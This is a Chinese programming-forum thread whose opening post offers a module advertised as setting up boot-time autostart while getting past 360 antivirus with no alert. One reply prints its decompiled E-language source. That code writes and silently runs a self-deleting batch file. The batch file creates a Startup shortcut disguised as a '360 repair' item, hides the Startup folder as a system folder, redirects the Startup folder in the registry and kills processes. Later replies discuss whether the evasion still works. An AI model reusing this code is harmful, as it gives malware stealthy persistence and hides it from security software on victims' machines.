精易论坛

标题: 开机自启动模块+源码 过360 360无提示 [打印本页]
作者: aa844158951    时间: 2016-4-9 12:00
标题: 开机自启动模块+源码 过360 360无提示
开机自启动模块+源码  过360   360无提示                  

源码+模块.png (48.05 KB, 下载次数: 8)

源码+模块.png

源码 模块.png (51.8 KB, 下载次数: 0)

源码 模块.png

开机自启动模块 源码 360无提示.rar

5.24 KB, 下载次数: 585, 下载积分: 精币 -2 枚

作者: seven7c    时间: 2016-4-9 12:01
就算是真的,公布出来就是死的,
作者: danshuiyu    时间: 2016-4-9 12:12
就算是真的,公布出来就是死的,
作者: 树先生    时间: 2016-4-9 12:26
就算是真的,公布出来就是死的,
作者: 千钧    时间: 2016-4-9 12:45
一看到是模块我就不下载了
作者: Azathoth    时间: 2016-4-9 12:58
话说·· 东西全在模块里？
作者: 453407561    时间: 2016-4-9 13:25
.DLL命令 GetCurrentDirectoryA_80, 整数型, "kernel32", "GetCurrentDirectoryA", ,
    .参数 匿名参数_105, 整数型, ,
    .参数 匿名参数_106, 文本型, ,

.DLL命令 GetModuleFileNameA_81, 整数型, "", "GetModuleFileNameA", ,
    .参数 匿名参数_107, 整数型, ,
    .参数 匿名参数_108, 文本型, ,
    .参数 匿名参数_109, 整数型, ,

.DLL命令 LocalAlloc_82, 整数型, "", "LocalAlloc", ,
    .参数 匿名参数_110, 整数型, ,
    .参数 匿名参数_111, 整数型, ,

.DLL命令 RtlFillMemory_83, , "", "RtlFillMemory", ,
    .参数 匿名参数_112, 整数型, ,
    .参数 匿名参数_113, 整数型, ,
    .参数 匿名参数_114, 字节型, ,

.DLL命令 LocalFree_84, 整数型, "", "LocalFree", ,
    .参数 匿名参数_115, 整数型, ,

.DLL命令 lstrlenA_85, 整数型, "kernel32.dll", "lstrlenA", ,
    .参数 匿名参数_116, 文本型, ,

.DLL命令 lstrcpyn_86, 整数型, "", "lstrcpyn", ,
    .参数 匿名参数_117, 文本型, 传址,
    .参数 匿名参数_118, 文本型, 传址,
    .参数 匿名参数_119, 整数型, ,

.DLL命令 lstrcpyn_87, 整数型, "", "lstrcpyn", ,
    .参数 匿名参数_120, 字节集, 传址,
    .参数 匿名参数_121, 字节集, 传址,
    .参数 匿名参数_122, 整数型, ,

.DLL命令 SHGetSpecialFolderPathA_128, 逻辑型, "shell32.dll", "SHGetSpecialFolderPathA", ,
    .参数 匿名参数_132, 整数型, ,
    .参数 匿名参数_133, 文本型, ,
    .参数 匿名参数_134, 整数型, ,
    .参数 匿名参数_135, 逻辑型, ,

.程序集 匿名程序集_0, , ,

.子程序 匿名子程序_1, 整数型, ,

匿名子程序_2 ()
返回 (0)

.子程序 匿名子程序_2, , ,


.程序集 匿名程序集_3, , ,

.子程序 _X360, , 公开, 测试运行请小心，最好“操作文件”输入其他程序，否则执行的是自身程序，会出现循环启动。
.参数 操作文件, 文本型, 可空, 完整的路径和带后缀名的执行文件。（留空为执行文件）
.参数 显示名称, 文本型, 可空, 例：“修复360安全卫士”。（显示为.url后缀名的文件）
.参数 图标指向, 文本型, 可空, 完整的路径和带后缀名的执行文件。例：“%systemroot%\system32\url.dll”
.参数 是否运行, 逻辑型, 可空, 是否立即运行操作文件。(真:运行|假:不运行)
.参数 自身退出, 逻辑型, 可空, 是否退出。(真:退出|假:不退出)
.参数 自身删除, 逻辑型, 可空, 是否删除自身。(真:删除|假:不删除)

.局部变量 匿名局部变量_11, 文本型, , ,
.局部变量 匿名局部变量_12, 文本型, , ,
.局部变量 匿名局部变量_13, 文本型, , ,
.局部变量 匿名局部变量_14, 文本型, , ,
.局部变量 匿名局部变量_16, 文本型, , ,
.局部变量 匿名局部变量_45, 文本型, , ,
.局部变量 匿名局部变量_63, 文本型, , ,
.局部变量 匿名局部变量_47, 文本型, , ,

.如果真 (等于 (操作文件, “”))
    赋值 (操作文件, 相加 (匿名子程序_70 (), “\”, 匿名子程序_71 ()))
.如果真结束
.如果真 (等于 (显示名称, “”))
    赋值 (显示名称, “修复360安全卫士”)
.如果真结束
.如果真 (等于 (图标指向, “”))
    赋值 (图标指向, “%systemroot%\system32\url.dll”)
.如果真结束
赋值 (匿名局部变量_11, 相加 (匿名子程序_70 (), “\”))
赋值 (匿名局部变量_12, 相加 (匿名子程序_125 (36, 假), “\”, 匿名子程序_138 (7, 4), “.bat”))
赋值 (匿名局部变量_14, 相加 (匿名局部变量_11, 取执行文件名 ()))
赋值 (匿名局部变量_16, 相加 (匿名子程序_125 (23, 假), “\”))
.如果 (等于 (是否运行, 真))
    赋值 (匿名局部变量_45, 相加 (“start ”, #引号, “X360”, #引号, “ ”, #引号, 操作文件, #引号, #换行符))
.否则
    赋值 (匿名局部变量_45, 相加 (“:start ”, #引号, “X360”, #引号, “ ”, #引号, 操作文件, #引号, #换行符))
.如果结束
.如果 (等于 (自身退出, 真))
    赋值 (匿名局部变量_63, 相加 (“@taskkill /f /IM ”, 取执行文件名 (), #换行符))
.否则
    赋值 (匿名局部变量_63, 相加 (“:@taskkill /f /IM ”, 取执行文件名 (), #换行符))
.如果结束
.如果 (等于 (自身删除, 真))
    赋值 (匿名局部变量_47, 相加 (“del /f /s /q ”, #引号, 匿名局部变量_14, #引号, #换行符))
.否则
    赋值 (匿名局部变量_47, 相加 (“:del /f /s /q ”, #引号, 匿名局部变量_14, #引号, #换行符))
.如果结束
赋值 (匿名局部变量_13, 相加 (“title X360”, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, 匿名局部变量_63))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “md ”, #引号, 匿名局部变量_16, “Startup”, #引号, “”, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “@echo [InternetShortcut] >> ”, #引号, 匿名局部变量_16, “Startup\”, 显示名称, “.url”, #引号, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “@echo URL=”, #引号, 操作文件, #引号, “ >> ”, #引号, 匿名局部变量_16, “Startup\”, 显示名称, “.url”, #引号, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “@echo IconIndex=0 >> ”, #引号, 匿名局部变量_16, “Startup\”, 显示名称, “.url”, #引号, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “@echo IconFile=”, #引号, 图标指向, #引号, “ >> ”, #引号, 匿名局部变量_16, “Startup\”, 显示名称, “.url”, #引号, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “attrib ”, #引号, 匿名局部变量_16, “Startup”, #引号, “ +r +a +s +h /s /d”, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “reg add ”, #引号, “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders”, #引号, “ /v Startup /t REG_SZ /d ”, #引号, 匿名局部变量_16, “Startup”, #引号, “ /f ”, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “reg add ”, #引号, “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders”, #引号, “ /v Startup /t REG_SZ /d ”, #引号, 匿名局部变量_16, “Startup”, #引号, “ /f ”, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, 匿名局部变量_45))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, 匿名局部变量_47))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “del /f /s /q ”, #引号, 匿名局部变量_12, #引号, #换行符))
写到文件 (匿名局部变量_12, 到字节集 (匿名局部变量_13))
运行 (匿名局部变量_12, 假, #隐藏窗口)

.程序集 匿名程序集_78, , ,

.子程序 匿名子程序_68, 整数型, ,

匿名子程序_69 ()
返回 (0)

.子程序 匿名子程序_69, , ,


.程序集 匿名程序集_79, , ,

.子程序 匿名子程序_70, 文本型, ,
.局部变量 匿名局部变量_88, 文本型, , ,

赋值 (匿名局部变量_88, 匿名子程序_72 (255))
GetCurrentDirectoryA_80 (255, 匿名局部变量_88)
返回 (匿名局部变量_88)

.子程序 匿名子程序_71, 文本型, ,
.局部变量 匿名局部变量_89, 文本型, , ,
.局部变量 匿名局部变量_90, 整数型, , ,

赋值 (匿名局部变量_89, 匿名子程序_72 (255))
GetModuleFileNameA_81 (0, 匿名局部变量_89, 255)
赋值 (匿名局部变量_90, 匿名子程序_73 (匿名局部变量_89, “\”, (), 假))
赋值 (匿名局部变量_89, 匿名子程序_74 (匿名局部变量_89, 相减 (匿名子程序_75 (匿名局部变量_89), 匿名局部变量_90)))
返回 (匿名局部变量_89)

.子程序 匿名子程序_72, 文本型, ,
.参数 匿名参数_91, 整数型, ,

.局部变量 匿名局部变量_92, 整数型, , ,
.局部变量 匿名局部变量_93, 文本型, , ,

.如果真 (小于 (匿名参数_91, 1))
    返回 (“”)
.如果真结束
赋值 (匿名局部变量_92, LocalAlloc_82 (64, 相加 (匿名参数_91, 1)))
.如果真 (等于 (匿名局部变量_92, 0))
    返回 (“”)
.如果真结束
RtlFillMemory_83 (匿名局部变量_92, 匿名参数_91, 32)
赋值 (匿名局部变量_93, 指针到文本 (匿名局部变量_92))
LocalFree_84 (匿名局部变量_92)
返回 (匿名局部变量_93)

.子程序 匿名子程序_73, 整数型, ,
.参数 匿名参数_94, 文本型, ,
.参数 匿名参数_95, 文本型, ,
.参数 匿名参数_96, 整数型, 可空,
.参数 匿名参数_97, 逻辑型, 可空,

置入代码 ({ 83, 82, 86, 87, 49, 192, 139, 117, 8, 232, 207, 0, 0, 0, 131, 249, 0, 126, 117, 139, 85, 244, 137, 203, 139, 117, 12, 232, 189, 0, 0, 0, 131, 249, 0, 126, 99, 139, 69, 20, 133, 192, 116, 12, 139, 69, 16, 131, 248, 0, 126, 84, 57, 216, 118, 2, 137, 216, 57, 193, 119, 74, 73, 137, 77, 248, 1, 77, 244, 1, 194, 74, 41, 200, 137, 69, 252, 139, 93, 24, 139, 117, 244, 139, 77, 252, 137, 215, 138, 38, 78, 227, 43, 138, 7, 79, 73, 232, 140, 0, 0, 0, 132, 228, 117, 241, 137, 250, 137, 77, 252, 139, 77, 248, 227, 25, 138, 38, 138, 7, 78, 79, 232, 115, 0, 0, 0, 132, 228, 117, 205, 73, 227, 7, 235, 236, 131, 200, 255, 235, 67, 139, 69, 252, 64, 139, 125, 8, 139, 63, 137, 193, 73, 227, 15, 138, 63, 71, 73, 128, 255, 128, 118, 245, 227, 170, 71, 73, 235, 239, 132, 219, 116, 34, 139, 117, 12, 139, 54, 139, 77, 248, 65, 227, 23, 138, 62, 70, 71, 73, 128, 255, 128, 118, 244, 227, 11, 138, 62, 56, 63, 117, 133, 70, 71, 73, 235, 231, 95, 94, 90, 91, 131, 196, 12, 137, 236, 93, 194, 24, 0, 49, 201, 139, 54, 133, 246, 116, 12, 137, 117, 244, 138, 6, 70, 65, 132, 192, 117, 248, 73, 195, 56, 224, 116, 30, 168, 128, 117, 28, 132, 219, 116, 24, 52, 32, 56, 224, 117, 18, 60, 65, 114, 14, 60, 90, 118, 8, 60, 97, 114, 6, 60, 122, 119, 2, 48, 228, 195 })
返回 (0)

.子程序 匿名子程序_74, 文本型, ,
.参数 匿名参数_98, 文本型, ,
.参数 匿名参数_99, 整数型, ,

.局部变量 匿名局部变量_100, 整数型, , ,
.局部变量 匿名局部变量_101, 字节集, , ,

赋值 (匿名局部变量_100, 匿名子程序_75 (匿名参数_98))
.如果真 (或者 (小于 (匿名局部变量_100, 1), 小于 (匿名参数_99, 1)))
    返回 (“”)
.如果真结束
.如果真 (大于 (匿名参数_99, 匿名局部变量_100))
    返回 (匿名参数_98)
.如果真结束
赋值 (匿名局部变量_101, 相加 (指针到字节集 (相减 (相加 (匿名子程序_76 (匿名参数_98), 匿名局部变量_100), 匿名参数_99), 匿名参数_99), { 0 }))
返回 (指针到文本 (匿名子程序_77 (匿名局部变量_101)))

.子程序 匿名子程序_75, 整数型, ,
.参数 匿名参数_102, 文本型, ,

返回 (lstrlenA_85 (匿名参数_102))

.子程序 匿名子程序_76, 整数型, ,
.参数 匿名参数_103, 文本型, ,

返回 (lstrcpyn_86 (匿名参数_103, 匿名参数_103, 0))

.子程序 匿名子程序_77, 整数型, ,
.参数 匿名参数_104, 字节集, ,

返回 (lstrcpyn_87 (匿名参数_104, 匿名参数_104, 0))

.程序集 匿名程序集_126, , ,

.子程序 匿名子程序_123, 整数型, ,

匿名子程序_124 ()
返回 (0)

.子程序 匿名子程序_124, , ,


.程序集 匿名程序集_127, , ,

.子程序 匿名子程序_125, 文本型, ,
.参数 匿名参数_129, 整数型, ,
.参数 匿名参数_130, 逻辑型, ,

.局部变量 匿名局部变量_131, 文本型, , ,

赋值 (匿名局部变量_131, 取空白文本 (1024))
.如果 (等于 (匿名参数_130, 真))
    SHGetSpecialFolderPathA_128 (0, 匿名局部变量_131, 匿名参数_129, 真)
.否则
    SHGetSpecialFolderPathA_128 (0, 匿名局部变量_131, 匿名参数_129, 假)
.如果结束
返回 (匿名局部变量_131)

.程序集 匿名程序集_139, , ,

.子程序 匿名子程序_136, 整数型, ,

匿名子程序_137 ()
返回 (0)

.子程序 匿名子程序_137, , ,


.程序集 匿名程序集_140, , ,

.子程序 匿名子程序_138, 文本型, ,
.参数 匿名参数_141, 整数型, ,
.参数 匿名参数_142, 整数型, 可空,

.局部变量 匿名局部变量_143, 文本型, , ,

置随机数种子 (取秒 (取现行时间 ()))
.判断开始 (等于 (匿名参数_142, 1))
    .计次循环首 (匿名参数_141, ())
        赋值 (匿名局部变量_143, 相加 (匿名局部变量_143, 字符 (取随机数 (48, 57))))
    .计次循环尾 ()
    返回 (匿名局部变量_143)
.判断 (等于 (匿名参数_142, 2))
    .计次循环首 (匿名参数_141, ())
        赋值 (匿名局部变量_143, 相加 (匿名局部变量_143, 字符 (取随机数 (97, 122))))
    .计次循环尾 ()
    返回 (匿名局部变量_143)
.判断 (等于 (匿名参数_142, 3))
    .计次循环首 (匿名参数_141, ())
        赋值 (匿名局部变量_143, 相加 (匿名局部变量_143, 字符 (取随机数 (65, 90))))
    .计次循环尾 ()
    返回 (匿名局部变量_143)
.判断 (等于 (匿名参数_142, 4))
    .计次循环首 (匿名参数_141, ())
        赋值 (匿名局部变量_143, 相加 (匿名局部变量_143, 字符 (多项选择 (取随机数 (1, 3), 取随机数 (48, 57), 取随机数 (65, 90), 取随机数 (97, 122)))))
    .计次循环尾 ()
    返回 (匿名局部变量_143)
.默认
    .计次循环首 (匿名参数_141, ())
        赋值 (匿名局部变量_143, 相加 (匿名局部变量_143, 字符 (多项选择 (取随机数 (1, 3), 取随机数 (48, 57), 取随机数 (65, 90), 取随机数 (97, 122)))))
    .计次循环尾 ()
    返回 (匿名局部变量_143)
.判断结束












模块源代码
作者: 巴拉拉小魔仙    时间: 2016-4-9 13:41
路过~
作者: qwqw    时间: 2016-4-9 19:04
无有         
作者: ck66    时间: 2016-4-11 13:51
就算是真的,公布出来就是死的
作者: qq758492503    时间: 2016-4-28 04:24
不好使 无效 会有劫持提示
作者: 不依baya    时间: 2016-5-7 17:20
好东西！！
作者: cqdjsp    时间: 2016-7-5 11:07
别骗我，上次就被骗了。害我白射精了
作者: 我是床奇    时间: 2016-7-5 20:28
作者: dg591222210    时间: 2016-7-6 12:45
不管行不行,先下载来试试再说
作者: 别查了    时间: 2016-7-19 13:03
开机自启指令是_x360吧
作者: guanpeng520    时间: 2016-8-7 19:44
00000000000000000000000000000000000000
作者: 520wangshun    时间: 2016-8-9 23:37
不知道开源了没有
作者: 唯你    时间: 2016-8-15 18:03
好东西，支持下
作者: ac923    时间: 2016-8-16 21:13
好东西，看看
作者: 发现爱上你了    时间: 2016-8-28 11:31
.版本 2.版本 2.版本 2.版本 2.版本 2.版本 2.版本 2.版本 2.版本 2.版本 2.版本 2
作者: cx77    时间: 2016-9-24 12:20
还有用吗？？
作者: heiyi1994    时间: 2016-10-6 16:32
666我拿去试试看看能不能用
作者: sadamu9527    时间: 2016-10-18 11:19
没有开源啊？
作者: sadamu9527    时间: 2016-10-23 15:56
测试一下啊
作者: sdwhturbosun    时间: 2016-11-1 09:23
nengxing ma ?
作者: 夏衣又致    时间: 2016-11-17 15:02
好东西，支持下
作者: 梦回青云    时间: 2016-11-24 10:57
谢谢楼主分享
作者: zuokav587    时间: 2017-1-16 21:05
6666666666666666666
作者: fsf359    时间: 2017-3-11 15:16
真的这么牛？？我来试试
作者: 彖浅    时间: 2017-6-26 16:26
真的这么牛
作者: 118184017    时间: 2017-7-6 12:55
亲测无用，0000
作者: 嘟嘟乐    时间: 2017-7-10 11:18
不行的，还是阻止
作者: 嘟嘟乐    时间: 2017-7-10 11:19
作者: 1016294350    时间: 2017-9-7 18:27
不错         
作者: Hooksafe    时间: 2017-10-24 19:51
可以学习下  用服务启动的吗 还是计划任务
作者: xuel200    时间: 2018-3-18 13:55
试试 看看好用不
作者: 2161045897    时间: 2018-4-5 15:24
学习学习~~
作者: duanyijun    时间: 2022-5-9 09:35
好东西。厉害厉害
作者: qianban    时间: 2022-5-12 11:14
真的这么牛逼？？？
作者: Gato    时间: 2022-5-15 09:10
好东西。厉害厉害
作者: bingdao1    时间: 2022-5-20 15:13
就算是真的,公布出来就是死的
作者: 素颜    时间: 2022-6-26 17:24
支持一下吧
作者: hkq001    时间: 2022-7-13 16:41
老铁, 你扩展名多打了5个字符
作者: AMEN.@    时间: 2022-8-19 21:05
6666666666666666666666666666
作者: young1996    时间: 2022-9-1 14:42
回复回复回复
作者: mjd970319    时间: 2022-9-7 15:58
66666666666啊
作者: 憨憨问号    时间: 2022-9-21 06:58
666，可算找到了
作者: yinxixi    时间: 2022-10-16 17:00
6666666666666666666666666666666666666666666666
作者: chao1323301    时间: 2022-11-24 22:12
真的这么牛逼？？？
作者: lijinggui    时间: 2022-11-26 19:14
666666666666666666666666666666666666
作者: 97134784    时间: 2022-12-2 15:46
各位下载的注意，模块并没有开源
作者: 筑梦天地    时间: 2023-3-16 12:06
开机启动有好几种方法,试试这个怎么样
作者: 净谭    时间: 2023-11-15 23:07
各位下载的注意，模块并没有开源
作者: ty666ee    时间: 2023-12-31 16:39
#在这里快速回复# 各位下载的注意，模块并没有开源
作者: bingheyy    时间: 2024-2-3 13:42
各位下载的注意，模块并没有开源
作者: KAYsk    时间: 2024-3-19 17:52
块并没有开源
作者: 气东来    时间: 2024-6-25 11:54
开源精神必须支持~
作者: 艺术就是爆炸    时间: 2024-7-19 11:10
作者: sgs666    时间: 2024-10-27 22:06
360   360无提示
作者: hxnr    时间: 2024-10-27 22:15
sgs666 发表于 2024-10-27 22:06
360   360无提示

想多了 都什么年代了
作者: sgs666    时间: 2024-10-27 22:27
hxnr 发表于 2024-10-27 22:15
想多了 都什么年代了

哈哈我是复制的 我想找一个开机自启找不到exe的 正在找呢
作者: hxnr    时间: 2024-10-27 22:30
sgs666 发表于 2024-10-27 22:27
哈哈我是复制的 我想找一个开机自启找不到exe的 正在找呢

先关360   再写注册表
作者: sgs666    时间: 2024-10-27 22:46
hxnr 发表于 2024-10-27 22:30
先关360   再写注册表

写注册表一下就被找到了 我不想过360  只想不被找到exe



欢迎光临 精易论坛 (https://125.confly.eu.org/) Powered by Discuz! X3.4